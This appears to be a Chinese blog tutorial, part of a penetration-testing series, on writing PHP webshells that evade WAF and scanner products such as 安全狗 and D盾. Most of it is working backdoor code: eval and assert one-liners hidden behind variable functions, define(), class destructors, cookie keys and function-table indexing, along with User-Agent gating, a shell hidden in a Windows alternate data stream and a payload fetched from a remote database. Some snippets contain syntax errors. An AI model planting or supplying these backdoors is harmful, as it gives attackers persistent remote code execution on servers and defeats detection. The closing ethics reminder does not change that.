本文內容:
~Waf檢測機制與繞過
~進階知識
~結束語
每日一句:
每天進步一點點,持之以恆,終成大器
天行健,君子以自強不息!
一、Waf檢測機制與繞過
1,正常一句馬
<?php eval($_REQUEST['a']);?>
//這種有個Waf都會給幹掉
//多說一下,參數爲數字也是可以的
<?php eval($_REQUEST[1]);?>
2,稍微變形(一)
變量函數繞過
繞過語句:
<?php eval(end($_REQUEST));?>
原理:
Waf攔截的本質還是正則匹配問題
通過測試我們發現僅僅一個eval()函數不攔截
測試語句:
<?php eval();?>
進而測試
<?php eval($_REQUEST)?;> //這也不攔截
那基本就是多一個“[]”的問題
思考繞過方法:
~替換掉eval() -->assert()作用類似,試試不行
~替換掉$_REQUEST[] ——>那就從這突破了
深思:
$_REQUEST[]是超全局變量,就是獲得傳參的
提出一個函數:end()
//輸出數組中的當前元素和最後一個元素的值
測試語句:
<?php var_dump(end($_REQUEST));?>
傳參: url ?a=1&b=123
輸出: string(3)"123"
綜合:<?php eval(end($_REQUEST));?>
//這直接掃描也掃不出了
//唯一缺陷沒有密碼,隨便傳參都可以,即
//url ?sb=phpinfo();
3,稍微變形(二)
常量函數繞過
在提一個常量函數:define()
<?php define("b","$_REQUEST[a]");eval(b);?>
原理:
$_REQUEST接收傳參前端a的傳參,
然後執行操作:b=$_REQUEST['a'],
最後,eval(b),
4,稍微變形(三)
字符串拼接 + 雙美元符號
<?php
$a='aww';
$b='ert';
$funcName=$a.$b; //assert()函數的作用相等於eval()
$x='funcName';
$$x($_REQUEST['a']); //爲什麼不用eval(),
//二次解析 //因爲php中eval不能拼接執行(規定)
?>
5,稍微變形(四)
定義函數繞過
通過上邊我們得知,eval($_REQUEST) 這不會被攔截
但是加上“[]”就會攔截。所以,我們想辦法分離一下這兩部分
通過測試,得知"($_REQUEST)[]" 我們中間加個“(”都可以躲過檢測
上語句:
<?php
function ss($_a){return $a;}
eval(ss($_REQUEST)['a']); //分割“REQUEST” 與 “[]”
?>
6,稍微變形(五)
定義類繞過+魔術方法
<?php class User{
public $name=''; //兩個單引號
function__destruct(){
eval("$this->name"); //定義變量name
}
}user = new User; //實例化類
$user->name = ".$_REQUEST['a']; //給name賦值
?>
//魔術方法作用:當類被銷燬的時候調用
//什麼是銷燬?就是類運行完畢後
其實安全狗還是比較容易過的,像D盾之類的,就只能靠一些函數
甚至反序列化函數
7,稍微變形(六)
一些騷的操作開始
<?php
$COOKIE = $_COOKIE; //獲取cookie傳參,存在變量cookie中
foreach($COOKIE as $key => $value){ //將cookie的鍵值分離
//比如傳參a=1,分離爲:key=a,value=1
if($key == 'assert'){
$key($_REQUEST['a']);
}
}
?>
//這個函數的最終效果是:assert($_REQUEST['a']);
//在實戰中,url a=sb 且在 cookie中 設置assert=sb
8,稍微變形(七)
繼續一些騷的操作
<?php
$a=get_defined_functions();
$a=['internal'][841]($_REQUEST['a']);
?>
//get_defined_functions()函數是返回所有已經定義的函數
//可以var_dump(get_defined_functions())看看
//get_defined_functions()['internal'] 返回鍵爲“internal”的數組
//['internal'][841] 就是“internal”這個一維數組的第841個數據 實際上就是assert
//綜上,最終語句相等於assert($_REQUEST['a'])
二、微微進階
1,D盾相對安全狗來說,難度大了一些,但是問題也不大
//寫一點吧,有興趣的同學可以瞭解一下
小思路:
<?php
if($_SERVER['HTTP_USER_AGENT'] === '1')(
eval(end($_REQUEST))
)
?>
//傳輸的時候,改一下請求頭爲1,若是菜刀或者蟻劍之類的連接
//直接將“1”改爲 相應軟件的請求頭即可
2,再來個隱藏小馬的法子
當你getshell的時候,在命令行執行:
echo "<?php eval($_REQUEST['a']);?>" >> /:626.txt
在任意一個php文件中:
<?php include('/:626.txt')?>
作用就是,這個小馬被隱藏,dir也是看不到的
但是,僅僅可以在win系統 --->安全狗是掃不出的,D盾的話,會報可以引用
可以在前邊在加點函數繞過,就不擴展了,有興趣自己去試
3,制勝大法
<?php
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','數據庫名'),'select * from 表名'))['列名']);
?>
//本質就是讓服務器去連接讀取我們放在公網的數據庫的內容,
//我們在數據庫具體的表存入:
eval($_REQUEST['a']);
最後,服務器可以去買個學生機之類的,記得貌似9.9一個月
三,結束語
1,到這裏,耗時近2月的小白成長之路已經接近尾聲。等等我修正幾天,看看再開
一個進階欄目。不管怎麼說,大家一定要注重積累,1萬小時定理。
2,注意滲透測試的尺度,不要碰黑產。做一個正直的白帽子